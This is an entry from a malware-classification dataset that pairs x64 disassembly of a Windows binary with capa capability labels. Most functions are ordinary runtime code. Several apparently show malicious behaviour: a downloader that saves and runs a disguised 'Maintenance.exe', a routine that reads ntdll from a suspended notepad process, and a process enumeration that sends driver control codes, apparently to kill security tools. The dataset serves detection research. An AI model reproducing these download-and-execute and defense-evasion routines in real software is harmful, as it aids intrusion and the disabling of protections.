joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140003df5
Capabilities:
Allocate thread local storage

Disassembly:
jmp 0x1400b0d80
mov qword [rsp + 8], rcx
sub rsp, 0x48
call fcn.1400b0750
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x1400b0dc1
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x140217020]
jmp 0x1400b0dc7
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
add rsp, 0x48
ret

Function at 0x140003ec2
Capabilities:
Get geographical location

Disassembly:
jmp 0x140156840
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x58
call fcn.140155770
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x1401568a7
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x40], rax
movabs r10, 0xe375262d7cd44270
mov r9d, dword [rsp + 0x78]
mov r8, qword [rsp + 0x70]
mov edx, dword [rsp + 0x68]
mov rcx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x40]
call qword [0x140217030]
jmp 0x1401568c9
xor edx, edx
mov rcx, qword [rsp + 0x60]
call fcn.1400030e9
mov r9d, dword [rsp + 0x78]
mov r8, qword [rsp + 0x70]
mov edx, dword [rsp + 0x68]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
add rsp, 0x58
ret

Function at 0x140003ed6
Capabilities:
Terminate process

Disassembly:
jmp 0x14008d170
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x140004273
Capabilities:
Print debug messages

Disassembly:
jmp 0x14017d3c0
mov qword [rsp + 8], rcx
push rbp
sub rsp, 0x50
lea rbp, [rsp + 0x30]
mov rax, qword [0x1401fc058]
xor rax, rbp
mov qword [rbp + 0x18], rax
cmp qword [rbp + 0x30], 0
jne 0x14017d3e6
jmp 0x14017d463
mov rcx, qword [rbp + 0x30]
call fcn.1400035da
inc rax
mov qword [rbp], rax
cmp qword [rbp], 0
jne 0x14017d3ff
jmp 0x14017d463
mov rax, qword [rbp]
shl rax, 1
mov rcx, rax
add rcx, 0xf
cmp rcx, rax
ja 0x14017d41c
movabs rcx, 0xffffffffffffff0
and rcx, 0xfffffffffffffff0
mov rax, rcx
call fcn.140001f64
sub rsp, rax
lea rax, [rsp + 0x30]
mov qword [rbp + 8], rax
mov rax, qword [rbp]
dec rax
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x30]
mov r8, qword [rbp]
mov rdx, qword [rbp + 8]
lea rcx, [rbp + 0x10]
call fcn.140002590
test eax, eax
jne 0x14017d463
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov rcx, qword [rbp + 0x18]
xor rcx, rbp
call fcn.1400038d2
lea rsp, [rbp + 0x20]
pop rbp
ret
Function at 0x1400043db
Capabilities:
Create directory
Get common file path

Disassembly:
jmp 0x140014b50
push rdi
sub rsp, 0x380
lea rdi, [rsp + 0x50]
mov ecx, 0xcc
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x1401fc058]
xor rax, rsp
mov qword [rsp + 0x378], rax
mov ecx, 0x4b0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x23
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jl 0x140014cab
lea rdx, [0x1401a8000]
lea rcx, [rsp + 0x60]
call fcn.140001537
xor edx, edx
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rdx, str.SystemMaintenance
lea rcx, [rsp + 0x60]
call fcn.140001537
xor edx, edx
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rdx, str.Maintenance.exe
lea rcx, [rsp + 0x60]
call fcn.140001537
movzx eax, word [0x1401a7a34]
mov word [rsp + 0x284], ax
lea rcx, [rsp + 0x284]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
cdqe
mov rdx, rax
lea rcx, [rsp + 0x284]
call fcn.140004f48
lea rdx, [rsp + 0x60]
mov rcx, rax
call fcn.140005d85
movzx eax, al
test eax, eax
je 0x140014c7a
lea rdx, str.Downloaded_and_saved_to
lea rcx, [0x1401feb00]
call fcn.140003b70
lea rdx, [rsp + 0x60]
mov rcx, rax
call fcn.140003b70
mov qword [rsp + 0x360], rax
lea rdx, [0x14000390e]
mov rcx, qword [rsp + 0x360]
call fcn.1400052e0
jmp 0x140014ca9
lea rdx, str.Download_failed_
lea rcx, [0x1401feb00]
call fcn.140003b70
mov qword [rsp + 0x368], rax
lea rdx, [0x14000390e]
mov rcx, qword [rsp + 0x368]
call fcn.1400052e0
jmp 0x140014cda
lea rdx, str.Could_not_get_ProgramData_path_
lea rcx, [0x1401feb00]
call fcn.140003b70
mov qword [rsp + 0x370], rax
lea rdx, [0x14000390e]
mov rcx, qword [rsp + 0x370]
call fcn.1400052e0
lea rax, [rsp + 0x2b0]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
lea rax, [rsp + 0x338]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
mov dword [rsp + 0x2b0], 0x68
lea rcx, [rsp + 0x60]
call fcn.1400015e6
lea rax, [rsp + 0x338]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x2b0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rcx, rsp
lea rdx, [0x1401a9a10]
call fcn.14000565a
mov rcx, qword [rsp + 0x378]
xor rcx, rsp
call fcn.1400038d2
add rsp, 0x380
pop rdi
ret
Function at 0x140004453
Capabilities:
Parse pe header

Disassembly:
jmp 0x1401954e0
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rax, qword [rsp + 0x30]
mov qword [rsp], rax
mov rax, qword [rsp]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140195504
xor eax, eax
jmp 0x140195552
mov rax, qword [rsp]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp]
add rcx, rax
mov rax, rcx
mov qword [rsp + 8], rax
mov rax, qword [rsp + 8]
cmp dword [rax], 0x4550
je 0x14019552c
xor eax, eax
jmp 0x140195552
mov rax, qword [rsp + 8]
add rax, 0x18
mov qword [rsp + 0x10], rax
mov rax, qword [rsp + 0x10]
movzx eax, word [rax]
cmp eax, 0x20b
je 0x14019554d
xor eax, eax
jmp 0x140195552
mov eax, 1
add rsp, 0x28
ret

Function at 0x140004606
Capabilities:
Create process on windows

Disassembly:
jmp 0x140186190
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x128
lea rcx, [rsp + 0xe8]
call fcn.140002f09
lea rcx, [rsp + 0xb8]
call fcn.140002f09
lea rcx, [rsp + 0x88]
call fcn.140002f09
call fcn.140003d5a
mov r8d, eax
lea rdx, [rsp + 0xe8]
mov rcx, qword [rsp + 0x130]
call fcn.140002bf3
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
je 0x140186232
mov dword [rsp + 0x54], 0
lea rcx, [rsp + 0x88]
call fcn.140003472
lea rcx, [rsp + 0xb8]
call fcn.140003472
lea rcx, [rsp + 0xe8]
call fcn.140003472
mov eax, dword [rsp + 0x54]
jmp 0x1401863d8
call fcn.140003d5a
mov r8d, eax
lea rdx, [rsp + 0xb8]
mov rcx, qword [rsp + 0x138]
call fcn.140002bf3
mov dword [rsp + 0x58], eax
cmp dword [rsp + 0x58], 0
je 0x140186292
mov dword [rsp + 0x5c], 0
lea rcx, [rsp + 0x88]
call fcn.140003472
lea rcx, [rsp + 0xb8]
call fcn.140003472
lea rcx, [rsp + 0xe8]
call fcn.140003472
mov eax, dword [rsp + 0x5c]
jmp 0x1401863d8
mov qword [rsp + 0x70], 0
cmp qword [rsp + 0x168], 0
je 0x140186318
call fcn.140003d5a
mov r8d, eax
lea rdx, [rsp + 0x88]
mov rcx, qword [rsp + 0x168]
call fcn.140002bf3
mov dword [rsp + 0x60], eax
cmp dword [rsp + 0x60], 0
je 0x140186306
mov dword [rsp + 0x64], 0
lea rcx, [rsp + 0x88]
call fcn.140003472
lea rcx, [rsp + 0xb8]
call fcn.140003472
lea rcx, [rsp + 0xe8]
call fcn.140003472
mov eax, dword [rsp + 0x64]
jmp 0x1401863d8
lea rcx, [rsp + 0x88]
call fcn.140002e2d
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0xb8]
call fcn.140002e2d
mov qword [rsp + 0x78], rax
lea rcx, [rsp + 0xe8]
call fcn.140002e2d
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x178]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x170]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x160]
mov qword [rsp + 0x30], rax
mov eax, dword [rsp + 0x158]
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x150]
mov dword [rsp + 0x20], eax
mov r9, qword [rsp + 0x148]
mov r8, qword [rsp + 0x140]
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [rsp + 0x68], eax
lea rcx, [rsp + 0x88]
call fcn.140003472
lea rcx, [rsp + 0xb8]
call fcn.140003472
lea rcx, [rsp + 0xe8]
call fcn.140003472
mov eax, dword [rsp + 0x68]
add rsp, 0x128
ret
Function at 0x1400046d8
Capabilities:
Set environment variable

Disassembly:
jmp 0x140173420
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rax, qword [rsp + 0x38]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
add rsp, 0x28
ret
Function at 0x140004a34
Capabilities:
Parse pe header

Disassembly:
jmp 0x14008ec70
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14008ec90
xor al, al
jmp 0x14008ed11
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14008eca3
xor al, al
jmp 0x14008ed11
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14008eccd
xor al, al
jmp 0x14008ed11
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14008ece1
xor al, al
jmp 0x14008ed11
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14008ecf3
xor al, al
jmp 0x14008ed11
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14008ed0f
xor al, al
jmp 0x14008ed11
mov al, 1
add rsp, 0x38
ret
Function at 0x140004f16
Capabilities:
Enumerate pe sections

Disassembly:
jmp 0x140195350
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rax, qword [rsp + 0x30]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x10], rax
mov dword [rsp], 0
mov rax, qword [rsp + 0x10]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x10]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 8], rax
jmp 0x1401953ae
mov eax, dword [rsp]
inc eax
mov dword [rsp], eax
mov rax, qword [rsp + 8]
add rax, 0x28
mov qword [rsp + 8], rax
mov rax, qword [rsp + 0x10]
movzx eax, word [rax + 6]
cmp dword [rsp], eax
jae 0x1401953ed
mov rax, qword [rsp + 8]
mov eax, dword [rax + 0xc]
cmp qword [rsp + 0x38], rax
jb 0x1401953eb
mov rax, qword [rsp + 8]
mov eax, dword [rax + 0xc]
mov rcx, qword [rsp + 8]
add eax, dword [rcx + 8]
mov eax, eax
cmp qword [rsp + 0x38], rax
jae 0x1401953eb
mov rax, qword [rsp + 8]
jmp 0x1401953ef
jmp 0x140195398
xor eax, eax
add rsp, 0x28
ret

Function at 0x1400052db
Capabilities:
Terminate process

Disassembly:
jmp 0x1400b1e60
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov ecx, 0x17
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x1400b1e8e
mov ecx, 5
int 0x29
mov r8d, 1
mov edx, 0xc0000417
mov ecx, 2
call fcn.140005f06
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000417
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x140005439
Capabilities:
Terminate process

Disassembly:
jmp 0x140014130
push rdi
sub rsp, 0x170
lea rdi, [rsp + 0x50]
mov ecx, 0x48
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov qword [rsp + 0x50], 0
mov r8d, 0x68
xor edx, edx
lea rcx, [rsp + 0x70]
call fcn.140004f7f
mov r8d, 0x18
xor edx, edx
lea rcx, [rsp + 0xf8]
call fcn.140004f7f
lea rax, [rsp + 0xf8]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.C:WindowsSystem32_notepad.exe
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
cmp qword [rsp + 0xf8], 0
jne 0x1400141e6
lea rcx, str.____Error_creating_process_r_n
call fcn.140003805
xor eax, eax
jmp 0x1400142cc
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x118], rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x148], rax
mov r9d, 0x18
lea r8, [rsp + 0x128]
mov rdx, qword [rsp + 0x148]
mov rcx, qword [rsp + 0x118]
call sub.KERNEL32.dll_K32GetModuleInformation
mov eax, dword [rsp + 0x130]
mov qword [rsp + 0x168], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, qword [rsp + 0x168]
mov r8, rcx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rsp + 0x50], rax
mov eax, dword [rsp + 0x130]
lea rcx, [rsp + 0x158]
mov qword [rsp + 0x20], rcx
mov r9d, eax
mov r8, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x128]
mov rcx, qword [rsp + 0xf8]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov dword [rsp + 0x164], eax
cmp dword [rsp + 0x164], 0
jne 0x1400142b7
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_reading_ntdll___u__n
call fcn.140003805
xor eax, eax
jmp 0x1400142cc
xor edx, edx
mov rcx, qword [rsp + 0xf8]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rax, qword [rsp + 0x50]
mov rdi, rax
mov rcx, rsp
lea rdx, [0x1401a9280]
call fcn.14000565a
mov rax, rdi
add rsp, 0x170
pop rdi
ret
Function at 0x140005d85
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
jmp 0x140013bd0
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
mov eax, 0x10d0
call fcn.140001f64
sub rsp, rax
lea rdi, [rsp + 0x40]
mov ecx, 0x424
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x10e0]
mov rax, qword [0x1401fc058]
xor rax, rsp
mov qword [rsp + 0x10c0], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, str.Download_Agent
call qword [sym.imp.WININET.dll_InternetOpenW]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x140013c5b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.InternetOpen__d_n
call fcn.140003805
xor al, al
jmp 0x140013dce
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x10e0]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jne 0x140013cb8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.InternetOpenUrlW__d_n
call fcn.140003805
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor al, al
jmp 0x140013dce
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, qword [rsp + 0x10e8]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0xffffffffffffffff
jne 0x140013d28
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CreateFile__d_n
call fcn.140003805
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor al, al
jmp 0x140013dce
mov byte [rsp + 0x1094], 1
lea r9, [rsp + 0x64]
mov r8d, 0x1000
lea rdx, [rsp + 0x90]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140013d94
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x10a4]
mov r8d, dword [rsp + 0x64]
lea rdx, [rsp + 0x90]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [rsp + 0x10a4]
cmp dword [rsp + 0x64], eax
je 0x140013d92
mov byte [rsp + 0x1094], 0
jmp 0x140013da5
jmp 0x140013d9e
mov byte [rsp + 0x1094], 0
jmp 0x140013da5
cmp dword [rsp + 0x64], 0
ja 0x140013d30
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
movzx eax, byte [rsp + 0x1094]
mov rdi, rax
mov rcx, rsp
lea rdx, [0x1401a8fe0]
call fcn.14000565a
mov rax, rdi
mov rcx, qword [rsp + 0x10c0]
xor rcx, rsp
call fcn.1400038d2
add rsp, 0x10d0
pop rdi
ret
Function at 0x140005f83
Capabilities:
Print debug messages

Disassembly:
jmp 0x140145f80
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
add rsp, 0x28
ret
Function at 0x1400060f0
Capabilities:
Set thread local storage value

Disassembly:
jmp 0x1400b0ec0
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x48
call fcn.1400b0810
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x1400b0f09
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x58]
mov ecx, dword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x140217020]
jmp 0x1400b0f18
mov rdx, qword [rsp + 0x58]
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
add rsp, 0x48
ret

Function at 0x140006212
Capabilities:
Set environment variable

Disassembly:
jmp 0x1401911f0
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0xb8
lea rcx, [rsp + 0x78]
call fcn.140002f09
lea rcx, [rsp + 0x48]
call fcn.140002f09
call fcn.140003d5a
mov r8d, eax
lea rdx, [rsp + 0x78]
mov rcx, qword [rsp + 0xc0]
call fcn.140002bf3
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
je 0x14019125f
mov dword [rsp + 0x24], 0
lea rcx, [rsp + 0x48]
call fcn.140003472
lea rcx, [rsp + 0x78]
call fcn.140003472
mov eax, dword [rsp + 0x24]
jmp 0x1401912f0
call fcn.140003d5a
mov r8d, eax
lea rdx, [rsp + 0x48]
mov rcx, qword [rsp + 0xc8]
call fcn.140002bf3
mov dword [rsp + 0x28], eax
cmp dword [rsp + 0x28], 0
je 0x1401912a6
mov dword [rsp + 0x2c], 0
lea rcx, [rsp + 0x48]
call fcn.140003472
lea rcx, [rsp + 0x78]
call fcn.140003472
mov eax, dword [rsp + 0x2c]
jmp 0x1401912f0
lea rcx, [rsp + 0x48]
call fcn.140002e2d
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x78]
call fcn.140002e2d
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov dword [rsp + 0x30], eax
lea rcx, [rsp + 0x48]
call fcn.140003472
lea rcx, [rsp + 0x78]
call fcn.140003472
mov eax, dword [rsp + 0x30]
add rsp, 0xb8
ret
Function at 0x1400064c9
Capabilities:
Enumerate processes

Disassembly:
jmp 0x140015950
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x440
lea rdi, [rsp + 0x40]
mov ecx, 0x100
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x450]
mov rax, qword [0x1401fc058]
xor rax, rsp
mov qword [rsp + 0x430], rax
mov dword [rsp + 0x44], 0
mov dword [rsp + 0x64], 0
mov dword [rsp + 0x84], 0
mov dword [rsp + 0x94], 0
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x98], rax
cmp qword [rsp + 0x98], 0xffffffffffffffff
je 0x140015ab7
mov dword [rsp + 0xb0], 0x238
lea rdx, [rsp + 0xb0]
mov rcx, qword [rsp + 0x98]
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x140015aa9
mov r8d, 0x104
lea rdx, [rsp + 0xdc]
lea rcx, [rsp + 0x310]
call fcn.140005a1f
lea rcx, [rsp + 0x310]
call fcn.140005fba
test eax, eax
je 0x140015a8c
mov eax, dword [rsp + 0xb8]
mov dword [rsp + 0x44], eax
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x84]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x64]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rsp + 0x44]
mov edx, 0x80002048
mov rcx, qword [rsp + 0x450]
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
jne 0x140015a7c
jmp 0x140015a8c
mov eax, dword [rsp + 0x94]
inc eax
mov dword [rsp + 0x94], eax
lea rdx, [rsp + 0xb0]
mov rcx, qword [rsp + 0x98]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x1400159f9
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x94]
mov edi, eax
mov rcx, rsp
lea rdx, [0x1401a9d50]
call fcn.14000565a
mov eax, edi
mov rcx, qword [rsp + 0x430]
xor rcx, rsp
call fcn.1400038d2
add rsp, 0x440
pop rdi
ret
Function at 0x140006df2
Capabilities:
Enumerate processes

Disassembly:
jmp 0x140015af0
push rdi
sub rsp, 0x3e0
lea rdi, [rsp + 0x20]
mov ecx, 0xf0
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x1401fc058]
xor rax, rsp
mov qword [rsp + 0x3d0], rax
mov dword [rsp + 0x20], 0
mov dword [rsp + 0x24], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x2c], 0
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0xffffffffffffffff
je 0x140015bcd
mov dword [rsp + 0x50], 0x238
lea rdx, [rsp + 0x50]
mov rcx, qword [rsp + 0x30]
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x140015bc2
mov r8d, 0x104
lea rdx, [rsp + 0x7c]
lea rcx, [rsp + 0x2b0]
call fcn.140005a1f
lea rcx, [rsp + 0x2b0]
call fcn.140005fba
test eax, eax
je 0x140015baf
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x20], eax
mov eax, dword [0x1401fe8b8]
inc eax
mov dword [0x1401fe8b8], eax
lea rdx, [rsp + 0x50]
mov rcx, qword [rsp + 0x30]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x140015b70
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x2c]
mov edi, eax
mov rcx, rsp
lea rdx, reloc.OLEAUT32.dll_SysReAllocString
call fcn.14000565a
mov eax, edi
mov rcx, qword [rsp + 0x3d0]
xor rcx, rsp
call fcn.1400038d2
add rsp, 0x3e0
pop rdi
ret